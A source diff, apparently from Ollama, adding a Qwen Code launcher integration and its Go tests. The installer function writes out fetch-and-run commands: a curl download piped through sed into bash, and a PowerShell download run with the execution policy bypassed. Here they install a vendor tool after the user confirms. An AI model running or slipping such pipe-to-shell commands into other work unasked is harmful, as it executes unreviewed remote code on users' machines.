if !strings.Contains(gotPi, "--version\n") {
|
||||
t.Fatalf("expected final pi launch call, got:\n%s", gotPi)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("pi installed + web search missing auto-installs", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
@@ -223,14 +705,41 @@ exit 0
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("pi installed + web search present updates every launch", func(t *testing.T) {
|
||||
t.Run("pi installed + web search present skips update when current", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "pi-list.txt"), []byte("User packages:\n "+piWebSearchSource+"\n"), 0o644); err != nil {
|
||||
seedPiWebSearchPackage(t, tmpDir, "1.0.0")
|
||||
setNpmRegistryVersion(t, "1.0.0")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedNpmNoop(t, tmpDir)
|
||||
|
||||
p := &Pi{}
|
||||
if err := p.Run("ignored", nil, []string{"doctor"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
piCalls, err := os.ReadFile(filepath.Join(tmpDir, "pi.log"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := string(piCalls)
|
||||
if strings.Contains(got, "update "+piWebSearchSource+"\n") {
|
||||
t.Fatalf("did not expect pi update call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "doctor\n") {
|
||||
t.Fatalf("expected final pi launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("pi installed + web search present updates when newer package exists", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
seedPiWebSearchPackage(t, tmpDir, "1.0.0")
|
||||
setNpmRegistryVersion(t, "1.0.1")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedNpmNoop(t, tmpDir)
|
||||
|
||||
@@ -247,6 +756,9 @@ exit 0
|
||||
if !strings.Contains(got, "update "+piWebSearchSource+"\n") {
|
||||
t.Fatalf("expected pi update call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "doctor\n") {
|
||||
t.Fatalf("expected final pi launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("web search update failure warns and continues", func(t *testing.T) {
|
||||
@@ -255,9 +767,8 @@ exit 0
|
||||
t.Setenv("PATH", tmpDir)
|
||||
setCloudStatus(t, false)
|
||||
t.Setenv("PI_FAIL_UPDATE", "1")
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "pi-list.txt"), []byte("User packages:\n "+piWebSearchSource+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
seedPiWebSearchPackage(t, tmpDir, "1.0.0")
|
||||
setNpmRegistryVersion(t, "1.0.1")
|
||||
seedPiScript(t, tmpDir)
|
||||
seedNpmNoop(t, tmpDir)
|
||||
|
||||
|
||||
@@ -0,0 +1,461 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
const qwenOllamaEnvKey = "OLLAMA_API_KEY"
|
||||
|
||||
var qwenGOOS = runtime.GOOS
|
||||
|
||||
type Qwen struct{}
|
||||
|
||||
func (q *Qwen) String() string { return "Qwen Code" }
|
||||
|
||||
func (q *Qwen) findPath() (string, error) {
|
||||
if p, err := exec.LookPath("qwen"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var candidates []string
|
||||
switch qwenGOOS {
|
||||
case "darwin":
|
||||
candidates = []string{
|
||||
"/opt/homebrew/bin/qwen",
|
||||
"/usr/local/bin/qwen",
|
||||
filepath.Join(home, ".npm-global", "bin", "qwen"),
|
||||
filepath.Join(home, ".local", "bin", "qwen"),
|
||||
filepath.Join(home, "Library", "Application Support", "qwen", "bin", "qwen"),
|
||||
}
|
||||
candidates = append(candidates, qwenNVMCandidatePaths(home)...)
|
||||
case "windows":
|
||||
candidates = []string{
|
||||
filepath.Join(qwenWindowsAppData(home), "npm", "qwen.cmd"),
|
||||
filepath.Join(qwenWindowsAppData(home), "npm", "qwen.exe"),
|
||||
filepath.Join(qwenWindowsLocalAppData(home), "npm", "qwen.cmd"),
|
||||
filepath.Join(qwenWindowsLocalAppData(home), "npm", "qwen.exe"),
|
||||
filepath.Join(home, "AppData", "Local", "Programs", "qwen", "qwen.exe"),
|
||||
filepath.Join(home, "AppData", "Roaming", "qwen", "bin", "qwen.exe"),
|
||||
}
|
||||
default:
|
||||
candidates = []string{
|
||||
filepath.Join(home, ".npm-global", "bin", "qwen"),
|
||||
filepath.Join(home, ".local", "bin", "qwen"),
|
||||
filepath.Join(home, ".cargo", "bin", "qwen"),
|
||||
"/usr/local/bin/qwen",
|
||||
}
|
||||
candidates = append(candidates, qwenNVMCandidatePaths(home)...)
|
||||
}
|
||||
|
||||
for _, candidate := range candidates {
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("qwen binary not found (checked PATH and common npm install locations)")
|
||||
}
|
||||
|
||||
func qwenNVMCandidatePaths(home string) []string {
|
||||
matches, err := filepath.Glob(filepath.Join(home, ".nvm", "versions", "node", "*", "bin", "qwen"))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return matches
|
||||
}
|
||||
|
||||
func qwenWindowsAppData(home string) string {
|
||||
if appData := os.Getenv("APPDATA"); appData != "" {
|
||||
return appData
|
||||
}
|
||||
return filepath.Join(home, "AppData", "Roaming")
|
||||
}
|
||||
|
||||
func qwenWindowsLocalAppData(home string) string {
|
||||
if localAppData := os.Getenv("LOCALAPPDATA"); localAppData != "" {
|
||||
return localAppData
|
||||
}
|
||||
return filepath.Join(home, "AppData", "Local")
|
||||
}
|
||||
|
||||
func ensureQwenInstalled() (string, error) {
|
||||
if path, err := (&Qwen{}).findPath(); err == nil {
|
||||
return path, nil
|
||||
}
|
||||
|
||||
if err := checkQwenInstallerDependencies(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Qwen Code is not installed. Install now?")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !ok {
|
||||
return "", fmt.Errorf("qwen installation cancelled")
|
||||
}
|
||||
|
||||
bin, args, err := qwenInstallerCommand(qwenGOOS)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Qwen Code...\n")
|
||||
shimDir, cleanup, err := qwenInstallShimDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
cmd := exec.Command(bin, args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Env = qwenInstallerEnv(os.Environ(), shimDir)
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to install qwen: %w", err)
|
||||
}
|
||||
|
||||
path, err := (&Qwen{}).findPath()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("qwen was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sQwen Code installed successfully%s\n\n", ansiGreen, ansiReset)
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func qwenInstallShimDir() (string, func(), error) {
|
||||
dir, err := os.MkdirTemp("", "ollama-qwen-install-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
|
||||
cleanup := func() {
|
||||
_ = os.RemoveAll(dir)
|
||||
}
|
||||
|
||||
if qwenGOOS == "windows" {
|
||||
for _, name := range []string{"qwen.cmd", "qwen.bat"} {
|
||||
if err := os.WriteFile(filepath.Join(dir, name), []byte("@echo off\r\nexit /b 0\r\n"), 0o755); err != nil {
|
||||
cleanup()
|
||||
return "", nil, err
|
||||
}
|
||||
}
|
||||
return dir, cleanup, nil
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filepath.Join(dir, "qwen"), []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
cleanup()
|
||||
return "", nil, err
|
||||
}
|
||||
return dir, cleanup, nil
|
||||
}
|
||||
|
||||
func qwenInstallerEnv(env []string, shimDir string) []string {
|
||||
out := make([]string, 0, len(env)+1)
|
||||
pathEntry := "PATH=" + shimDir
|
||||
for _, entry := range env {
|
||||
key, value, ok := strings.Cut(entry, "=")
|
||||
if ok && strings.EqualFold(key, "PATH") {
|
||||
pathEntry = key + "=" + shimDir + string(os.PathListSeparator) + value
|
||||
continue
|
||||
}
|
||||
out = append(out, entry)
|
||||
}
|
||||
return append(out, pathEntry)
|
||||
}
|
||||
|
||||
func checkQwenInstallerDependencies() error {
|
||||
switch qwenGOOS {
|
||||
case "windows":
|
||||
if _, err := exec.LookPath("powershell"); err != nil {
|
||||
return fmt.Errorf("qwen is not installed and required dependencies are missing\n\nInstall the following first:\n PowerShell: https://learn.microsoft.com/powershell/\n\nThen re-run:\n ollama launch qwen")
|
||||
}
|
||||
default:
|
||||
var missing []string
|
||||
if _, err := exec.LookPath("curl"); err != nil {
|
||||
missing = append(missing, "curl: https://curl.se/")
|
||||
}
|
||||
if _, err := exec.LookPath("bash"); err != nil {
|
||||
missing = append(missing, "bash: https://www.gnu.org/software/bash/")
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
return fmt.Errorf("qwen is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch qwen", strings.Join(missing, "\n "))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func qwenInstallerCommand(goos string) (string, []string, error) {
|
||||
switch goos {
|
||||
case "windows":
|
||||
return "powershell", []string{
|
||||
"-NoProfile",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
"$installer = Join-Path $env:TEMP 'install-qwen.bat'; Invoke-WebRequest -UseBasicParsing -Uri 'https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen.bat' -OutFile $installer; $content = Get-Content -Raw -Path $installer; $content = $content -replace '(?m)^\\s*call qwen\\s*$', 'REM call qwen'; Set-Content -Path $installer -Value $content -Encoding ASCII; & $installer",
|
||||
}, nil
|
||||
case "darwin", "linux":
|
||||
return "bash", []string{
|
||||
"-c",
|
||||
"set -o pipefail; curl -fsSL https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen.sh | sed '/log_info \"Starting Qwen Code...\"/,/exec qwen/d' | bash",
|
||||
}, nil
|
||||
default:
|
||||
return "", nil, fmt.Errorf("unsupported platform for qwen install: %s", goos)
|
||||
}
|
||||
}
|
||||
|
||||
func (q *Qwen) Run(model string, _ []LaunchModel, args []string) error {
|
||||
qwenPath, err := q.findPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("qwen is not installed: %w", err)
|
||||
}
|
||||
|
||||
cmd := exec.Command(qwenPath, qwenLaunchArgs(model, args)...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Env = qwenLaunchEnv(model)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func (q *Qwen) Paths() []string {
|
||||
path, err := q.configPath()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return []string{path}
|
||||
}
|
||||
|
||||
func (q *Qwen) Configure(model string) error {
|
||||
if model == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
configPath, err := q.configPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cfg, err := q.readConfig()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
applyQwenOllamaConfig(cfg, model)
|
||||
|
||||
data, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return fileutil.WriteWithBackup(configPath, data, "qwen")
|
||||
}
|
||||
|
||||
func applyQwenOllamaConfig(cfg map[string]any, model string) {
|
||||
envCfg := qwenMap(cfg["env"])
|
||||
envCfg[qwenOllamaEnvKey] = "ollama"
|
||||
cfg["env"] = envCfg
|
||||
|
||||
modelProviders := qwenMap(cfg["modelProviders"])
|
||||
modelProviders["openai"] = qwenMergeOpenAIProviders(modelProviders["openai"], qwenProvider(model))
|
||||
cfg["modelProviders"] = modelProviders
|
||||
|
||||
security := qwenMap(cfg["security"])
|
||||
auth := qwenMap(security["auth"])
|
||||
auth["selectedType"] = "openai"
|
||||
auth["baseUrl"] = qwenBaseURL()
|
||||
security["auth"] = auth
|
||||
cfg["security"] = security
|
||||
|
||||
modelCfg := qwenMap(cfg["model"])
|
||||
modelCfg["name"] = model
|
||||
cfg["model"] = modelCfg
|
||||
}
|
||||
|
||||
func qwenMap(value any) map[string]any {
|
||||
if m, ok := value.(map[string]any); ok {
|
||||
return m
|
||||
}
|
||||
return map[string]any{}
|
||||
}
|
||||
|
||||
func qwenMergeOpenAIProviders(value any, provider map[string]any) []any {
|
||||
merged := []any{provider}
|
||||
for _, existing := range qwenProviderList(value) {
|
||||
if qwenIsOllamaProvider(existing) {
|
||||
continue
|
||||
}
|
||||
merged = append(merged, existing)
|
||||
}
|
||||
return merged
|
||||
}
|
||||
|
||||
func qwenProviderList(value any) []any {
|
||||
switch providers := value.(type) {
|
||||
case []any:
|
||||
return providers
|
||||
case []map[string]any:
|
||||
out := make([]any, 0, len(providers))
|
||||
for _, provider := range providers {
|
||||
out = append(out, provider)
|
||||
}
|
||||
return out
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func qwenIsOllamaProvider(value any) bool {
|
||||
provider, ok := value.(map[string]any)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
envKey, _ := provider["envKey"].(string)
|
||||
baseURL, _ := provider["baseUrl"].(string)
|
||||
return envKey == qwenOllamaEnvKey && strings.TrimRight(baseURL, "/") == qwenBaseURL()
|
||||
}
|
||||
|
||||
func (q *Qwen) CurrentModel() string {
|
||||
cfg, err := q.readConfig()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
if modelCfg, ok := cfg["model"].(map[string]any); ok {
|
||||
if name, ok := modelCfg["name"].(string); ok {
|
||||
return strings.TrimSpace(name)
|
||||
}
|
||||
}
|
||||
|
||||
modelProviders, ok := cfg["modelProviders"].(map[string]any)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
|
||||
providers, ok := modelProviders["openai"].([]any)
|
||||
if !ok || len(providers) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
provider, ok := providers[0].(map[string]any)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
|
||||
name, _ := provider["id"].(string)
|
||||
return strings.TrimSpace(name)
|
||||
}
|
||||
|
||||
func (q *Qwen) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded("qwen")
|
||||
}
|
||||
|
||||
func (q *Qwen) RequiresInteractiveOnboarding() bool { return false }
|
||||
|
||||
func (q *Qwen) configPath() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("could not determine config path")
|
||||
}
|
||||
return filepath.Join(home, ".qwen", "settings.json"), nil
|
||||
}
|
||||
|
||||
func (q *Qwen) readConfig() (map[string]any, error) {
|
||||
configPath, err := q.configPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return map[string]any{}, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cfg := map[string]any{}
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
return nil, fmt.Errorf("parse qwen config: %w", err)
|
||||
}
|
||||
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func qwenBaseURL() string {
|
||||
return strings.TrimRight(envconfig.Host().String(), "/") + "/v1"
|
||||
}
|
||||
|
||||
func qwenProvider(model string) map[string]any {
|
||||
return map[string]any{
|
||||
"id": model,
|
||||
"name": fmt.Sprintf("%s (Ollama)", model),
|
||||
"baseUrl": qwenBaseURL(),
|
||||
"envKey": qwenOllamaEnvKey,
|
||||
}
|
||||
}
|
||||
|
||||
func qwenLaunchArgs(model string, args []string) []string {
|
||||
launchArgs := append([]string{}, args...)
|
||||
if !qwenHasFlag(launchArgs, "--auth-type") {
|
||||
launchArgs = append([]string{"--auth-type", "openai"}, launchArgs...)
|
||||
}
|
||||
if model != "" && !qwenHasFlag(launchArgs, "--model", "-m") {
|
||||
launchArgs = append([]string{"--model", model}, launchArgs...)
|
||||
}
|
||||
return launchArgs
|
||||
}
|
||||
|
||||
func qwenLaunchEnv(model string) []string {
|
||||
env := os.Environ()
|
||||
env = qwenUpsertEnv(env, "OPENAI_API_KEY", "ollama")
|
||||
env = qwenUpsertEnv(env, "OPENAI_BASE_URL", qwenBaseURL())
|
||||
if model != "" {
|
||||
env = qwenUpsertEnv(env, "OPENAI_MODEL", model)
|
||||
}
|
||||
return env
|
||||
}
|
||||
|
||||
func qwenUpsertEnv(env []string, key, value string) []string {
|
||||
prefix := key + "="
|
||||
filtered := env[:0]
|
||||
for _, entry := range env {
|
||||
if strings.HasPrefix(entry, prefix) {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, entry)
|
||||
}
|
||||
return append(filtered, prefix+value)
|
||||
}
|
||||
|
||||
func qwenHasFlag(args []string, names ...string) bool {
|
||||
for _, arg := range args {
|
||||
for _, name := range names {
|
||||
if arg == name || strings.HasPrefix(arg, name+"=") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,862 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
)
|
||||
|
||||
func setQwenTestHome(t *testing.T, home string) {
|
||||
t.Helper()
|
||||
t.Setenv("HOME", home)
|
||||
t.Setenv("USERPROFILE", home)
|
||||
}
|
||||
|
||||
func TestQwenConfigure(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
|
||||
q := &Qwen{}
|
||||
if err := q.Configure("gemma4"); err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(tmpDir, ".qwen", "settings.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read config: %v", err)
|
||||
}
|
||||
|
||||
var cfg map[string]any
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
t.Fatalf("failed to parse config: %v", err)
|
||||
}
|
||||
|
||||
envCfg := cfg["env"].(map[string]any)
|
||||
if envCfg[qwenOllamaEnvKey] != "ollama" {
|
||||
t.Fatalf("expected env[%q] to be ollama, got %v", qwenOllamaEnvKey, envCfg[qwenOllamaEnvKey])
|
||||
}
|
||||
|
||||
modelCfg := cfg["model"].(map[string]any)
|
||||
if modelCfg["name"] != "gemma4" {
|
||||
t.Fatalf("expected model.name gemma4, got %v", modelCfg["name"])
|
||||
}
|
||||
|
||||
security := cfg["security"].(map[string]any)
|
||||
auth := security["auth"].(map[string]any)
|
||||
if auth["selectedType"] != "openai" {
|
||||
t.Fatalf("expected auth.selectedType openai, got %v", auth["selectedType"])
|
||||
}
|
||||
if auth["baseUrl"] != qwenBaseURL() {
|
||||
t.Fatalf("expected auth.baseUrl %q, got %v", qwenBaseURL(), auth["baseUrl"])
|
||||
}
|
||||
|
||||
modelProviders := cfg["modelProviders"].(map[string]any)
|
||||
openai := modelProviders["openai"].([]any)
|
||||
if len(openai) != 1 {
|
||||
t.Fatalf("expected one openai provider, got %d", len(openai))
|
||||
}
|
||||
|
||||
provider := openai[0].(map[string]any)
|
||||
if provider["id"] != "gemma4" {
|
||||
t.Fatalf("expected provider id gemma4, got %v", provider["id"])
|
||||
}
|
||||
if provider["name"] != "gemma4 (Ollama)" {
|
||||
t.Fatalf("expected provider name %q, got %v", "gemma4 (Ollama)", provider["name"])
|
||||
}
|
||||
if provider["baseUrl"] != qwenBaseURL() {
|
||||
t.Fatalf("expected provider baseUrl %q, got %v", qwenBaseURL(), provider["baseUrl"])
|
||||
}
|
||||
if provider["envKey"] != qwenOllamaEnvKey {
|
||||
t.Fatalf("expected provider envKey %q, got %v", qwenOllamaEnvKey, provider["envKey"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenConfigureBacksUpUnderIntegrationDirectory(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".qwen")
|
||||
if err := os.MkdirAll(configDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
configPath := filepath.Join(configDir, "settings.json")
|
||||
if err := os.WriteFile(configPath, []byte(`{"original":true}`), 0o644); err != nil {
|
||||
t.Fatalf("failed to write initial config: %v", err)
|
||||
}
|
||||
|
||||
if err := (&Qwen{}).Configure("gemma4"); err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
|
||||
backups, err := filepath.Glob(filepath.Join(fileutil.BackupDir(), "qwen", "settings.json.*"))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to glob backups: %v", err)
|
||||
}
|
||||
for _, backup := range backups {
|
||||
data, err := os.ReadFile(backup)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read backup: %v", err)
|
||||
}
|
||||
if string(data) == `{"original":true}` {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatalf("backup with original content not found in %v", backups)
|
||||
}
|
||||
|
||||
func TestQwenConfigureMergesWithExistingSettings(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".qwen")
|
||||
if err := os.MkdirAll(configDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
configPath := filepath.Join(configDir, "settings.json")
|
||||
initialConfig := []byte(`{
|
||||
"theme": "dark",
|
||||
"env": {
|
||||
"OPENROUTER_API_KEY": "openrouter-key",
|
||||
"OLLAMA_API_KEY": "old-ollama-key"
|
||||
},
|
||||
"modelProviders": {
|
||||
"openai": [
|
||||
{
|
||||
"id": "old-ollama",
|
||||
"name": "old-ollama (Ollama)",
|
||||
"envKey": "OLLAMA_API_KEY",
|
||||
"baseUrl": "` + qwenBaseURL() + `"
|
||||
},
|
||||
{
|
||||
"id": "openrouter/model",
|
||||
"name": "OpenRouter Model",
|
||||
"envKey": "OPENROUTER_API_KEY",
|
||||
"baseUrl": "https://openrouter.ai/api/v1",
|
||||
"customField": "preserved"
|
||||
},
|
||||
{
|
||||
"id": "remote-ollama",
|
||||
"name": "Remote Ollama",
|
||||
"envKey": "OLLAMA_API_KEY",
|
||||
"baseUrl": "http://10.0.0.20:11434/v1"
|
||||
}
|
||||
],
|
||||
"gemini": [
|
||||
{
|
||||
"id": "gemini-2.5-pro",
|
||||
"envKey": "GEMINI_API_KEY"
|
||||
}
|
||||
]
|
||||
},
|
||||
"security": {
|
||||
"auth": {
|
||||
"selectedType": "qwen-oauth",
|
||||
"baseUrl": "https://old.example/v1",
|
||||
"customAuthField": "preserved"
|
||||
},
|
||||
"trustedFolders": ["/tmp/project"]
|
||||
},
|
||||
"model": {
|
||||
"name": "old-ollama",
|
||||
"generationConfig": {
|
||||
"temperature": 0.2
|
||||
}
|
||||
}
|
||||
}`)
|
||||
if err := os.WriteFile(configPath, initialConfig, 0o644); err != nil {
|
||||
t.Fatalf("failed to write initial config: %v", err)
|
||||
}
|
||||
|
||||
if err := (&Qwen{}).Configure("gemma4"); err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read config: %v", err)
|
||||
}
|
||||
var cfg map[string]any
|
||||
if err := json.Unmarshal(data, &cfg); err != nil {
|
||||
t.Fatalf("failed to parse config: %v", err)
|
||||
}
|
||||
|
||||
if cfg["theme"] != "dark" {
|
||||
t.Fatalf("expected top-level theme to be preserved, got %v", cfg["theme"])
|
||||
}
|
||||
|
||||
envCfg := cfg["env"].(map[string]any)
|
||||
if envCfg["OPENROUTER_API_KEY"] != "openrouter-key" {
|
||||
t.Fatalf("expected OPENROUTER_API_KEY to be preserved, got %v", envCfg["OPENROUTER_API_KEY"])
|
||||
}
|
||||
if envCfg[qwenOllamaEnvKey] != "ollama" {
|
||||
t.Fatalf("expected %s to be updated, got %v", qwenOllamaEnvKey, envCfg[qwenOllamaEnvKey])
|
||||
}
|
||||
|
||||
modelProviders := cfg["modelProviders"].(map[string]any)
|
||||
gemini := modelProviders["gemini"].([]any)
|
||||
if len(gemini) != 1 {
|
||||
t.Fatalf("expected gemini providers to be preserved, got %v", gemini)
|
||||
}
|
||||
openai := modelProviders["openai"].([]any)
|
||||
if len(openai) != 3 {
|
||||
t.Fatalf("expected new Ollama provider plus preserved OpenRouter and remote Ollama providers, got %v", openai)
|
||||
}
|
||||
ollamaProvider := openai[0].(map[string]any)
|
||||
if ollamaProvider["id"] != "gemma4" {
|
||||
t.Fatalf("expected Ollama provider to update to gemma4, got %v", ollamaProvider["id"])
|
||||
}
|
||||
openRouterProvider := openai[1].(map[string]any)
|
||||
if openRouterProvider["id"] != "openrouter/model" {
|
||||
t.Fatalf("expected OpenRouter provider to be preserved, got %v", openRouterProvider["id"])
|
||||
}
|
||||
if openRouterProvider["customField"] != "preserved" {
|
||||
t.Fatalf("expected OpenRouter custom field to be preserved, got %v", openRouterProvider["customField"])
|
||||
}
|
||||
remoteOllamaProvider := openai[2].(map[string]any)
|
||||
if remoteOllamaProvider["id"] != "remote-ollama" {
|
||||
t.Fatalf("expected remote Ollama provider to be preserved, got %v", remoteOllamaProvider["id"])
|
||||
}
|
||||
|
||||
security := cfg["security"].(map[string]any)
|
||||
auth := security["auth"].(map[string]any)
|
||||
if auth["selectedType"] != "openai" {
|
||||
t.Fatalf("expected selectedType openai, got %v", auth["selectedType"])
|
||||
}
|
||||
if auth["baseUrl"] != qwenBaseURL() {
|
||||
t.Fatalf("expected auth.baseUrl %q, got %v", qwenBaseURL(), auth["baseUrl"])
|
||||
}
|
||||
if auth["customAuthField"] != "preserved" {
|
||||
t.Fatalf("expected custom auth field to be preserved, got %v", auth["customAuthField"])
|
||||
}
|
||||
if len(security["trustedFolders"].([]any)) != 1 {
|
||||
t.Fatalf("expected security.trustedFolders to be preserved, got %v", security["trustedFolders"])
|
||||
}
|
||||
|
||||
modelCfg := cfg["model"].(map[string]any)
|
||||
if modelCfg["name"] != "gemma4" {
|
||||
t.Fatalf("expected model.name gemma4, got %v", modelCfg["name"])
|
||||
}
|
||||
generationConfig := modelCfg["generationConfig"].(map[string]any)
|
||||
if generationConfig["temperature"] != 0.2 {
|
||||
t.Fatalf("expected model generationConfig to be preserved, got %v", generationConfig)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenCurrentModel(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
|
||||
q := &Qwen{}
|
||||
if got := q.CurrentModel(); got != "" {
|
||||
t.Fatalf("expected empty model without config, got %q", got)
|
||||
}
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".qwen")
|
||||
if err := os.MkdirAll(configDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(configDir, "settings.json")
|
||||
if err := os.WriteFile(configPath, []byte(`{"model":{"name":"llama3.2"}}`), 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
if got := q.CurrentModel(); got != "llama3.2" {
|
||||
t.Fatalf("expected current model llama3.2, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestQwenCurrentModelFallsBackToProvider(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setQwenTestHome(t, tmpDir)
|
||||
|
||||
configDir := filepath.Join(tmpDir, ".qwen")
|
||||
if err := os.MkdirAll(configDir, 0o755); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(configDir, "settings.json")
|
||||
if err := os.WriteFile(configPath, []byte(`{"modelProviders":{"openai":[{"id":"mistral"}]}}`), 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
